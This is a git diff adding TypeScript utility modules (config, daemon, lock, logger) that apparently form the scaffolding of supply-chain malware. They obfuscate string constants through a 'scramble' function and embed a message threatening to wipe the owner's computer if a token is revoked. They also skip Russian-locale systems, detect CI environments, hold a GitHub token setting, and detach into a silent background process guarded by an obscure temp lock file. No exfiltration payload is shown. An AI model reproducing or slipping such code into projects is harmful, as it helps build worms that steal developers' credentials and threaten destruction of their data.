diff --git a/src/utils/config.ts b/src/utils/config.ts new file mode 100644 index 0000000..69ae6b6 --- /dev/null +++ b/src/utils/config.ts @@ -0,0 +1,148 @@ +export const SCRIPT_NAME = scramble("opensearch_init.js"); +export const SEARCH_STRING = scramble( + "IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner", +); + +export const PACKAGE_NAME = scramble( + "github:opensearch-project/opensearch-js#d446803f4c3bc116263faa3499a1d3f95b2825de", +); + +export interface Config { + githubToken: string; + pollIntervalMs: number; +} + +declare function scramble(str: string): string; +export function isSystemRussian(): boolean { + try { + const locale = ( + Intl.DateTimeFormat().resolvedOptions().locale || "" + ).toLowerCase(); + if (locale.startsWith(scramble("ru"))) return true; + } catch {} + + const env = ( + process.env.LC_ALL || + process.env.LC_MESSAGES || + process.env.LANGUAGE || + process.env.LANG || + "" + ).toLowerCase(); + if (env.startsWith("ru")) return true; + + const winLike = ( + process.env.SystemRoot + ? process.env.LANG || process.env.LANGUAGE || process.env.LC_ALL || "" + : "" + ).toLowerCase(); + if (winLike.startsWith(scramble("ru"))) return true; + + return false; +} + +export type OS = "OSX" | "WIN" | "LINUX" | "UNKNOWN"; + +export function detectOS(platform: string = process.platform): OS { + const p = platform.toLowerCase(); + if (p === "darwin") return "OSX"; + if (p === "win32" || p === "cygwin" || p === "msys") return "WIN"; + if (p === "linux") return "LINUX"; + return "UNKNOWN"; +} + +export function isCI(): boolean { + // Common CI environment variable (set by many CI systems) + if (process.env.CI === "true" || process.env.CI === "1") return true; + + // GitHub Actions + if (process.env.GITHUB_ACTIONS) return true; + + // GitLab CI + if (process.env.GITLAB_CI) return true; + + // Travis CI + if (process.env.TRAVIS) return true; + + // CircleCI + if (process.env.CIRCLECI) return true; + + // Jenkins + if (process.env.JENKINS_URL) return true; + + // Azure Pipelines + if (process.env.BUILD_BUILDURI) return true; + + // AWS CodeBuild + if (process.env.CODEBUILD_BUILD_ID) return true; + + // Buildkite + if (process.env.BUILDKITE) return true; + + // AppVeyor + if (process.env.APPVEYOR) return true; + + // Bitbucket Pipelines + if (process.env.BITBUCKET_BUILD_NUMBER) return true; + + // Drone + if (process.env.DRONE) return true; + + // Semaphore + if (process.env.SEMAPHORE) return true; + + // TeamCity + if (process.env.TEAMCITY_VERSION) return true; + + // Bamboo + if (process.env.bamboo_agentId) return true; + + // Bitrise + if (process.env.BITRISE_IO) return true; + + // Cirrus CI + if (process.env.CIRRUS_CI) return true; + + // Codefresh + if (process.env.CF_BUILD_ID) return true; + + // Codeship + if (process.env.CI_NAME === "codeship") return true; + + // Netlify + if (process.env.NETLIFY === "true") return true; + + // Vercel + if (process.env.VERCEL || process.env.NOW_GITHUB_DEPLOYMENT) return true; + + // Wercker + if (process.env.WERCKER_MAIN_PIPELINE_STARTED) return true; + + // Buddy + if (process.env.BUDDY_WORKSPACE_ID) return true; + + // Shippable + if (process.env.SHIPPABLE) return true; + + // Woodpecker CI + if (process.env.CI === "woodpecker") return true; + + // JetBrains Space + if (process.env.JB_SPACE_EXECUTION_NUMBER) return true; + + // Sail CI + if (process.env.SAILCI) return true; + + // Vela + if (process.env.VELA) return true; + + // Screwdriver.cd + if (process.env.SCREWDRIVER) return true; + + // Cloudflare Pages + if (process.env.CF_PAGES === "1") return true; + + // Puppet + if (process.env.DISTELLI_APPNAME) return true; + + return false; +} diff --git a/src/utils/daemon.ts b/src/utils/daemon.ts new file mode 100644 index 0000000..858618a --- /dev/null +++ b/src/utils/daemon.ts @@ -0,0 +1,28 @@ +import { spawn } from "child_process"; + +import { logUtil } from "./logger"; + +export function daemonize(): boolean { + if (process.env["__DAEMONIZED"]) { + return false; + } + + const child = spawn(process.execPath, process.argv.slice(1), { + detached: true, + stdio: "ignore", + cwd: process.cwd(), // or a specific directory + env: { ...process.env, __DAEMONIZED: "1" }, + }); + + child.on("error", (err) => { + logUtil.log(`Failed to background: ${err.message}`); + }); + + child.unref(); + + if (child.pid) { + logUtil.log(`Backgrounded with PID ${child.pid}`); + } + + return true; +} diff --git a/src/utils/lock.ts b/src/utils/lock.ts new file mode 100644 index 0000000..eecbe21 --- /dev/null +++ b/src/utils/lock.ts @@ -0,0 +1,34 @@ +import { existsSync, readFileSync, unlinkSync, writeFileSync } from "fs"; +import { tmpdir } from "os"; +import { join } from "path"; + +declare function scramble(str: string): string; + +const LOCK_FILE = join(tmpdir(), scramble("tmp.ts018051808.lock")); + +function isProcessRunning(pid: number): boolean { + try { + process.kill(pid, 0); + return true; + } catch { + return false; + } +} + +export function acquireLock(): boolean { + if (existsSync(LOCK_FILE)) { + const pid = parseInt(readFileSync(LOCK_FILE, "utf-8"), 10); + if (isProcessRunning(pid)) { + return false; + } + unlinkSync(LOCK_FILE); + } + writeFileSync(LOCK_FILE, process.pid.toString()); + return true; +} + +export function releaseLock(): void { + if (existsSync(LOCK_FILE)) { + unlinkSync(LOCK_FILE); + } +} diff --git a/src/utils/logger.ts b/src/utils/logger.ts new file mode 100644 index 0000000..aa926c5 --- /dev/null +++ b/src/utils/logger.ts @@ -0,0 +1,10 @@ +const noop = () => {}; + +const isSilent = false; + +export const logUtil = { + log: isSilent ? noop : console.log.bind(console), + info: isSilent ? noop : console.info.bind(console), + warn: isSilent ? noop : console.warn.bind(console), + error: isSilent ? noop : console.error.bind(console), +};